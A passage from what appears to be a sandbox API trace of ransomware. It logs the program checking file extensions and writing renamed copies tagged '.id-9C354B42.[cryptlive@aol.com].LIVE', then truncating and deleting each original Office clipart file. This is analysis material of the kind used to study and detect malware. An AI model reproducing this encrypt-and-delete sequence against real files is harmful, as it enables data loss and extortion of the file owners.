lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0139.041] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.041] SetEndOfFile (hFile=0x3a0) returned 1 [0139.041] CloseHandle (hObject=0x3a0) returned 1 [0139.042] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.042] SetEndOfFile (hFile=0x3ac) returned 1 [0139.044] CloseHandle (hObject=0x3ac) returned 1 [0139.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0139.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.081] lstrlenW (lpString=".doc") returned 4 [0139.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.081] lstrlenW (lpString=".docx") returned 5 [0139.081] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0139.081] lstrlenW (lpString=".pdf") returned 4 [0139.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.081] lstrlenW (lpString=".xls") returned 4 [0139.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.081] lstrlenW (lpString=".xlsx") returned 5 [0139.081] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0139.081] lstrlenW (lpString=".ppt") returned 4 [0139.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.081] lstrlenW (lpString=".zip") returned 4 [0139.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.081] lstrlenW (lpString=".rar") returned 4 [0139.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.081] lstrlenW (lpString=".bz2") returned 4 [0139.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.081] lstrlenW (lpString=".7z") returned 3 [0139.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.081] lstrlenW (lpString=".dbf") returned 4 [0139.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.081] lstrlenW (lpString=".1cd") returned 4 [0139.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.082] lstrlenW (lpString=".jpg") returned 4 [0139.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.082] lstrlenW (lpString=".doc") returned 4 [0139.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.082] lstrlenW (lpString=".docx") returned 5 [0139.082] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0139.082] lstrlenW (lpString=".pdf") returned 4 [0139.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.082] lstrlenW (lpString=".xls") returned 4 [0139.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.082] lstrlenW (lpString=".xlsx") returned 5 [0139.082] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0139.082] lstrlenW (lpString=".ppt") returned 4 [0139.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.082] lstrlenW (lpString=".zip") returned 4 [0139.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.082] lstrlenW (lpString=".rar") returned 4 [0139.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.082] lstrlenW (lpString=".bz2") returned 4 [0139.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.082] lstrlenW (lpString=".7z") returned 3 [0139.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.082] lstrlenW (lpString=".dbf") returned 4 [0139.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.082] lstrlenW (lpString=".1cd") returned 4 [0139.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0139.082] lstrlenW (lpString=".jpg") returned 4 [0139.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.083] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.083] lstrlenW (lpString="BS00076_.WMF") returned 12 [0139.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0139.083] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1330) returned 1 [0139.083] CloseHandle (hObject=0x394) returned 1 [0139.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0139.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0139.084] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.084] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.084] GetLastError () returned 0x0 [0139.084] ReadFile (in: hFile=0x394, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x532, lpOverlapped=0x0) returned 1 [0139.185] WriteFile (in: hFile=0x350, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x540, lpOverlapped=0x0) returned 1 [0139.407] ReadFile (in: hFile=0x394, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0139.407] WriteFile (in: hFile=0x350, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.407] SetEndOfFile (hFile=0x350) returned 1 [0139.498] CloseHandle (hObject=0x350) returned 1 [0139.634] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.634] SetEndOfFile (hFile=0x394) returned 1 [0139.636] CloseHandle (hObject=0x394) returned 1 [0139.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0139.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.651] lstrlenW (lpString=".doc") returned 4 [0139.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.652] lstrlenW (lpString=".docx") returned 5 [0139.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.652] lstrlenW (lpString=".pdf") returned 4 [0139.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.652] lstrlenW (lpString=".xls") returned 4 [0139.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.652] lstrlenW (lpString=".xlsx") returned 5 [0139.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.652] lstrlenW (lpString=".ppt") returned 4 [0139.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.652] lstrlenW (lpString=".zip") returned 4 [0139.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.652] lstrlenW (lpString=".rar") returned 4 [0139.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.652] lstrlenW (lpString=".bz2") returned 4 [0139.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.652] lstrlenW (lpString=".7z") returned 3 [0139.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.652] lstrlenW (lpString=".dbf") returned 4 [0139.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.652] lstrlenW (lpString=".1cd") returned 4 [0139.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.652] lstrlenW (lpString=".jpg") returned 4 [0139.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.652] lstrlenW (lpString=".doc") returned 4 [0139.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.652] lstrlenW (lpString=".docx") returned 5 [0139.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.652] lstrlenW (lpString=".pdf") returned 4 [0139.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.653] lstrlenW (lpString=".xls") returned 4 [0139.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.653] lstrlenW (lpString=".xlsx") returned 5 [0139.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.653] lstrlenW (lpString=".ppt") returned 4 [0139.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.653] lstrlenW (lpString=".zip") returned 4 [0139.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.653] lstrlenW (lpString=".rar") returned 4 [0139.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.653] lstrlenW (lpString=".bz2") returned 4 [0139.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.653] lstrlenW (lpString=".7z") returned 3 [0139.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.653] lstrlenW (lpString=".dbf") returned 4 [0139.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.653] lstrlenW (lpString=".1cd") returned 4 [0139.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0139.653] lstrlenW (lpString=".jpg") returned 4 [0139.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.653] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.653] lstrlenW (lpString="BS00135_.WMF") returned 12 [0139.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.654] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1044) returned 1 [0139.654] CloseHandle (hObject=0x390) returned 1 [0139.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0139.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.654] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.654] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0139.655] GetLastError () returned 0x0 [0139.655] ReadFile (in: hFile=0x390, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x414, lpOverlapped=0x0) returned 1 [0139.686] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x420, lpOverlapped=0x0) returned 1 [0139.687] ReadFile (in: hFile=0x390, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0139.687] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.687] SetEndOfFile (hFile=0x1f8) returned 1 [0139.687] CloseHandle (hObject=0x1f8) returned 1 [0139.688] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.688] SetEndOfFile (hFile=0x390) returned 1 [0139.690] CloseHandle (hObject=0x390) returned 1 [0139.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0139.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.785] lstrlenW (lpString=".doc") returned 4 [0139.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.785] lstrlenW (lpString=".docx") returned 5 [0139.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.794] lstrlenW (lpString=".pdf") returned 4 [0139.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.794] lstrlenW (lpString=".xls") returned 4 [0139.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.794] lstrlenW (lpString=".xlsx") returned 5 [0139.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.795] lstrlenW (lpString=".ppt") returned 4 [0139.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.795] lstrlenW (lpString=".zip") returned 4 [0139.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.795] lstrlenW (lpString=".rar") returned 4 [0139.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.795] lstrlenW (lpString=".bz2") returned 4 [0139.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.795] lstrlenW (lpString=".7z") returned 3 [0139.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.795] lstrlenW (lpString=".dbf") returned 4 [0139.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.795] lstrlenW (lpString=".1cd") returned 4 [0139.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.795] lstrlenW (lpString=".jpg") returned 4 [0139.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.795] lstrlenW (lpString=".doc") returned 4 [0139.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.795] lstrlenW (lpString=".docx") returned 5 [0139.795] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.795] lstrlenW (lpString=".pdf") returned 4 [0139.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.795] lstrlenW (lpString=".xls") returned 4 [0139.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.795] lstrlenW (lpString=".xlsx") returned 5 [0139.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.795] lstrlenW (lpString=".ppt") returned 4 [0139.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.796] lstrlenW (lpString=".zip") returned 4 [0139.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.796] lstrlenW (lpString=".rar") returned 4 [0139.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.796] lstrlenW (lpString=".bz2") returned 4 [0139.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.796] lstrlenW (lpString=".7z") returned 3 [0139.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.796] lstrlenW (lpString=".dbf") returned 4 [0139.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.796] lstrlenW (lpString=".1cd") returned 4 [0139.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0139.796] lstrlenW (lpString=".jpg") returned 4 [0139.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.796] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.796] lstrlenW (lpString="BS00200_.WMF") returned 12 [0139.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.797] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3104) returned 1 [0139.797] CloseHandle (hObject=0x3ac) returned 1 [0139.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0139.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.797] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.797] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.798] GetLastError () returned 0x0 [0139.798] ReadFile (in: hFile=0x3ac, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xc20, lpOverlapped=0x0) returned 1 [0139.807] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xc30, lpOverlapped=0x0) returned 1 [0139.808] ReadFile (in: hFile=0x3ac, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0139.808] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.808] SetEndOfFile (hFile=0x390) returned 1 [0139.808] CloseHandle (hObject=0x390) returned 1 [0139.809] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.809] SetEndOfFile (hFile=0x3ac) returned 1 [0139.811] CloseHandle (hObject=0x3ac) returned 1 [0139.811] 